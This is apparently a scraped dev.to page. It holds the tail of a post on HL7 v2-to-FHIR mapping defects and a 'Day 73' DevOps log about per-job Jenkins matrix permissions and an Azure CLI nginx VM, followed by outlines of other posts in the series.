Replay ordering, which follows from Anjan's question. Now that writes update rather than create, replaying an older dead-lettered message after a newer one would overwrite newer data with older. The fix I have in mind is to check MSH-7 against what was last applied, at the point of the write. Using the NHS number as an SQS FIFO message group ID orders live traffic but does nothing for a replay out of the dead-letter folder.

Field-level failures are silent, which Anjan asked about directly. Only a whole-message parse failure dead-letters. A single field that fails to map produces no flag, no metric and no log line, which is how all nine of these survived.

No canonical model, which Mitchel Coon asked about. The mapper goes straight from segments to FHIR resources, with no intermediate representation, so every quirk is handled inline. HL7's own v2-to-FHIR guide maps directly too, so this is defensible, but it is why the fixes above are scattered across the file rather than sitting in one place.

Lee also pointed out that the NHS number is not guaranteed, that address fields are often misused, and that phone fields can hold free text like "don't call after 6pm". Without an NHS number the Patient falls back to a plain create, so those patients still duplicate. PID-11 and PID-13 are not mapped at all yet, so the free text is a problem waiting for whoever maps them.

The one thing still open

PID-8 is settled and the duplicates are fixed. One judgement call is left, and I would rather leave it visible than decide it quietly in code.

The Encounter has no identifier and no period, so a resent admission duplicates it exactly the way the Patient used to.

Mustafa Erbay made the right suggestion in the comments on Part 1 here on dev.to: use PV1-19, the visit number, rather than building a composite key out of the fields that happen to be present. It is the natural identity for a visit and it is what the segment is for. The reason it is not in this week's pull request is the case he and I did not settle, which is what to do when PV1-19 is absent, since the standard does not require it. A conditional create with an empty condition matches every Encounter that also lacks a visit number and merges them, which is a worse failure than the duplicates I have now. So the duplicates stay until the absence case has an answer.

Worth stealing

Feed the mapper, don't read it. Every one of these nine produced valid output. Reading the code tells you what it says. Running it tells you what it does, and in mapping work those come apart constantly.

Write the test from the specification, not from the output. The middle-name test passed for months because it was written by running the code and pasting the result. A test written from PID-5's definition would have failed on day one.

Check the mapping document against the mapper. A mapping table is the thing colleagues trust most and verify least, because it reads like a specification when it is actually a description, and descriptions drift.

Look for the concept map before you reason from first principles. I decided PID-8 had no clean FHIR target and wrote that conclusion into a document. HL7 had already published the answer as a table. The standards bodies have done more of this work than it is comfortable to assume.

Let the message decide the shape. OBX-2 exists precisely to tell you what kind of value you are holding. Guessing with float() and falling back to zero is how a culture result becomes a number.

Where AI helps here, and where it doesn't

The fixes were quick to write once I knew what was wrong. The escape decoder, the date precision logic, the OBX-2 branch: all small, well-specified, mechanical.

Finding them was a different activity, and it was not reading. It was constructing awkward messages, running them through, and looking at the JSON. A patient with a middle initial. A date of birth with a time zone. A name with an ampersand. A culture result that says POSITIVE. None of those are exotic, and every one of those defects is invisible in a code review, because each line is individually reasonable.

That is now three weeks where running the thing found what reading it could not. I am going to stop describing it as a surprise.

The other half is less comfortable. Three of the nine I did not find by any method, and would not have: they came from people who read Part 1 and asked questions I had not thought to ask. Publishing the thing in an unfinished state is the only reason those arrived at all, which is an argument for writing the series while the work is still wrong rather than after it is right.

What I'd do differently

I would have written the mapping document and the tests from the HL7 and FHIR specifications first, and the mapper second. I did it the other way round, and ended up with a test suite and a document that both described the implementation back to me. Two sources of confirmation, neither of them independent.

Sources

Part 4, on 4 November, is weekly rather than fortnightly from here, and it is about observability, including an alert in this repo that has never been able to fire.

Which of your mappings has a test that was written by pasting in what the code already did?

This is a personal project. It is not affiliated with or endorsed by NHS England or any NHS organisation. It uses the public PDS FHIR sandbox and synthetic test data only. Views are my own.

Day 73: Six Permissions and a Repeat

Nnamdi Felix Ibe — Wed, 28 Oct 2026 18:00:00 +0000

Day 73 of DevOps, Day 23 of Azure. Both tasks today looked uniform and were not.

Six permissions in one list turned out to come from three different places in Jenkins. And an Azure deployment I had run the day before, with the same script and the same image, behaved differently enough to change which verification I would trust.

One Jenkins task, one Azure task. Give two users different permissions on one job, then repeat yesterday's self-configuring VM from the CLI. The tasks come from the KodeKloud Engineer platform.

Task 1: Two users, one job, different access

The task: grant Rohan build, cancel, configure, read, update and tag on an existing job, and grant Sam build, configure and read.

Step 1: Check, do not create

The task says to grant permissions to users. It does not say to create them, and both already existed.

Worth being deliberate about, because creating a second rohan leaves the grant attached to an account nobody logs into, and the symptom is a user who still cannot do anything. That reads like a permissions problem for as long as you let it.

Step 2: Install the plugin, again

Matrix Authorization Strategy is not part of Jenkins. Its own page describes it as offering "matrix-based security authorization strategies (global and per-project)", and on a stock Jenkins the Security page has no matrix option at all.

Same finding as Day 70, and it is worth repeating because the task's wording assumes it. A task that says "using a project-based matrix authorization strategy" is describing a plugin, and the authorisation half cannot start until it is installed.

Step 3: The step the task does not mention

Grant Overall/Read to authenticated users, globally, before touching the job.

Without it, logging in as Rohan gives an access-denied message naming the missing Overall/Read permission, so you cannot verify anything. The usual shorthand for this is that nothing works without Overall/Read, and that overstates it.

Jenkins is careful here: "While Overall/Read is a prerequisite for more extensive access to Jenkins, some features are available without it." The plugin says the same from the other side: "A user not granted read access to Jenkins in general will not be able to use most of the other permissions."

Most, not all. So the accurate version is that Overall/Read gates almost everything a person would recognise as using Jenkins, and granting it to authenticated users is a real grant rather than a formality. Every logged-in user can then see that the instance exists and enumerate what they have.

If you want to avoid that, Jenkins has a narrower tool. Job/Discover is documented as "only useful if anonymous users have Overall/Read permission, but not Job/Read", which is the shape for hiding specific jobs from users who can still reach Jenkins.

Step 4: The six permissions come from three places

This is the part I would have got wrong by reading the grid's column labels.

Jenkins groups its permissions as Overall, Agent, Job, Run, View and Credentials. The Job group is Build, Cancel, Configure, Create, Delete, Discover, Move, Read and Workspace. Four of the task's six names map straight onto it:

Task name	Documented permission
`build`	Job/Build
`cancel`	Job/Cancel
`configure`	Job/Configure
`read`	Job/Read

The other two do not.

There is no Job/Update. The only documented Update permissions are Run/Update and Credentials/Update, and the one that appears in a per-job grid is Run/Update, which sits in the Run group and concerns individual builds rather than the job's configuration.

And there is no documented permission called Tag anywhere on Jenkins' permissions page. Tag comes from a plugin, and shows up in the grid only when that plugin is installed. I could not work out which plugin supplies it in this lab, so I am leaving that as unknown rather than filling it in.

Which makes the lesson a practical one rather than a pedantic one. A permission grid looks like one decision and is several, and a column header does not tell you whether you are granting something about the job or about its builds. Read the grid by column group, not by column label.

Step 5: Log in as both of them

The grid tells you what was ticked. It does not tell you what works.

Logging in as Sam and confirming the job can be configured and built, then as Rohan and confirming the same plus what he has extra, is the only check that distinguishes a configured grid from a working one. Day 70 made this point for a single read-only user, and it is stronger with two users who are supposed to differ.

What the docs recommend

Granting on the job rather than globally is the whole point, and the documentation explains why in one line. Global grants apply everywhere: "Permission applying to such items or agents that are granted in the global configuration apply to all of them." Per-item grants sit on top of that, additively, under the default mode: "Permissions explicitly granted on individual items or agents will only add to permissions defined globally."

So Rohan's six permissions granted globally would have given him them on every job, present and future. On the job, the scope stays where the task put it, and the global grid carries only the Overall/Read everyone needs.

There is one thing in this task worth more worry than the permission names, though, and it is that both users got Configure.

A freestyle job's configuration is its commands. Job/Configure lets a user change the build steps, which means anything in those build steps is visible to and editable by that user, including a password typed into a shell command. If the job runs on the controller rather than an agent, that command runs where Jenkins itself lives.

That is not a hypothetical in this series. Day 76's job puts a database password directly into its shell step. Anyone with Configure on it can read that password. Granting Configure is closer to granting shell access than the word sounds, and the fix is to keep secrets out of job configuration rather than to be careful about who gets Configure.

Task 2: Yesterday's VM, from the CLI

The task: the same self-configuring nginx VM as Day 22, named datacenter-vm, with the region named explicitly.

Everything from yesterday carried over. The Azure CLI base64-encodes --custom-data. --nsg-rule accepts only {NONE, RDP, SSH}, so port 80 needs az vm open-port. Cloud-init dispatches on the script's first line. And --storage-sku Standard_LRS is mandatory in this subscription, because the policy refuses whatever the undocumented default produces.

Step 1: Pass the region anyway

The resource group is already in eastus, so omitting --location would have worked. I passed it because the task names a region, which is the Day 4 rule: inheriting a default that happens to match is luck, not correctness.

eastus is the CLI name. "East US", as the task writes it, is the display name, and the CLI rejects it.

Step 2: The same commands took a different amount of time

Day 22:  attempt 1: 000    attempt 2: 000    attempt 3: 200
Day 23:  attempt 1: 200

Same script, same image, same size, same region, one day apart. Yesterday nginx needed about 40 seconds after az vm create returned. Today it answered immediately.

Nothing changed on my side. The variance is in apt-get update and apt-get install, which depend on mirror latency and package cache state on the day.

That is the entire argument for polling a condition rather than sleeping an interval. A sleep 45 tuned to yesterday wastes 45 seconds today. A sleep 20 tuned to today fails yesterday.

The sharper version: a single immediate curl would have passed today and failed yesterday. That is the worst kind of check, because it works often enough to earn trust it has not demonstrated. A check that fails loudly is worth more than one that is usually right.

What the docs recommend

The task asked for two things that sound like one: HTTP reachable from the internet, and the nginx service running. Three checks, three different claims:

Check	What it proves
`curl` returns 200	Reachable now, end to end: NSG rule, public IP, listening process, content
`systemctl is-active`	Running now, independent of the network path
`systemctl is-enabled`	Still running after a reboot

curl subsumes "running", since a stopped service cannot answer. What it cannot reach is is-enabled, which reports whether nginx starts at boot. That is invisible over HTTP, and it only becomes visible after the next restart, by which point nobody is looking.

systemctl enable --now in the boot script set both. Only the direct check confirms the enable half took effect, and az vm run-command invoke made that possible without SSH.

What I learned

Two lists that looked uniform and were not.

Rohan's six permissions read as one decision about one job. They are four permissions about the job, one about its builds, and one that Jenkins does not document at all. Nothing in the grid says so. You find out by reading the column groups instead of the column labels, or by granting something and discovering later it did not mean what you thought.

And two runs of the same deployment, with every input identical, differed by about 40 seconds in whether the thing I was checking for existed yet. Which is the more useful of the two findings, because it tells you something about verification rather than about Azure: if a check would have passed today and failed yesterday, it was never a check. It was a coin flip that happened to land well.

So here is the Day 73 question. Which of your verification steps would still pass if the thing it verifies had not finished yet?

Day 73 down. Twenty-seven to go.

DEV Community: Nnamdi Felix Ibe

Day 82: A Password Removed and a Copy That Stayed Put

Task 1: An inventory with three passwords in it

Step 1: Ansible's documentation states the rule at the point of use

Step 2: The key, and the passphrase that matters more than it looks

Step 3: The inventory, and the group that isn't there

What the docs recommend

Task 2: A blob copied between containers

Step 1: The data never came to my machine

Step 2: The word "success" is doing less work than it appears to

Step 3: And the field names changed convention

What the docs recommend

What I learned

Day 81: Two Stages and a Regional Quota

Task 1: Two stages, deploy and test

Step 1: Stages, not jobs

Step 2: The quoting, which goes the other way from Day 78

Step 3: The Test stage would pass without the Deploy stage

What the docs recommend

Task 2: A Python web app

Step 1: The error with the blank field

Step 2: Plan and app are different things

Step 3: Two syntaxes for one runtime value

What the docs recommend

What I learned

Day 80: Two Chained Jobs and One Firewall Rule

Task 1: Two jobs, chained

Step 1: The chaining is the good part

Step 2: One plugin that does nothing

Step 3: The password, three times

What the docs recommend

Task 2: A managed SQL database

Step 1: The server is not a server

Step 2: Three layers, not two

Step 3: The rule that means something else

What the docs recommend

What I learned

Day 79: Polling and a Registry

Task 1: A job that triggers itself

Step 1: Check the ownership first

Step 2: Poll SCM, described accurately

Step 3: Notice where the polling happens

What the docs recommend

Task 2: A registry and an image

Step 1: The name is a hostname

Step 2: The build that was supposed to happen in the cloud

Step 3: Three errors, one unset variable

What the docs recommend

What I learned

Day 78: A Parameter and a Broken Route

Task 1: A branch as a parameter

Step 1: Notice which branch the server is already on

Step 2: The pipeline

Step 3: Run the failing case too

Step 4: Why this is safe, which is not obvious

What the docs recommend

Task 2: Four faults in one network

Step 1: The one that failed me

Step 2: Working is not correct

Step 3: Invalid does not mean broken

What the docs recommend

What I learned

Part 4: The Alert That Could Never Fire

The problem

What the pipeline could not see

The breaker opens, and nothing says so

Fields that fail to map leave no trace

Alert rules are code that only runs during an incident

Watching it fire, rather than trusting the test

The fix that still could not fire

The panels, which I nearly forgot

The one a reader found

What none of this catches

Worth stealing

Where AI helps here, and where it doesn't

What I'd do differently

Sources

Next

Day 77: A Pipeline and a Private Subnet

Task 1: A first declarative pipeline

Step 3: `Invalid` does not mean broken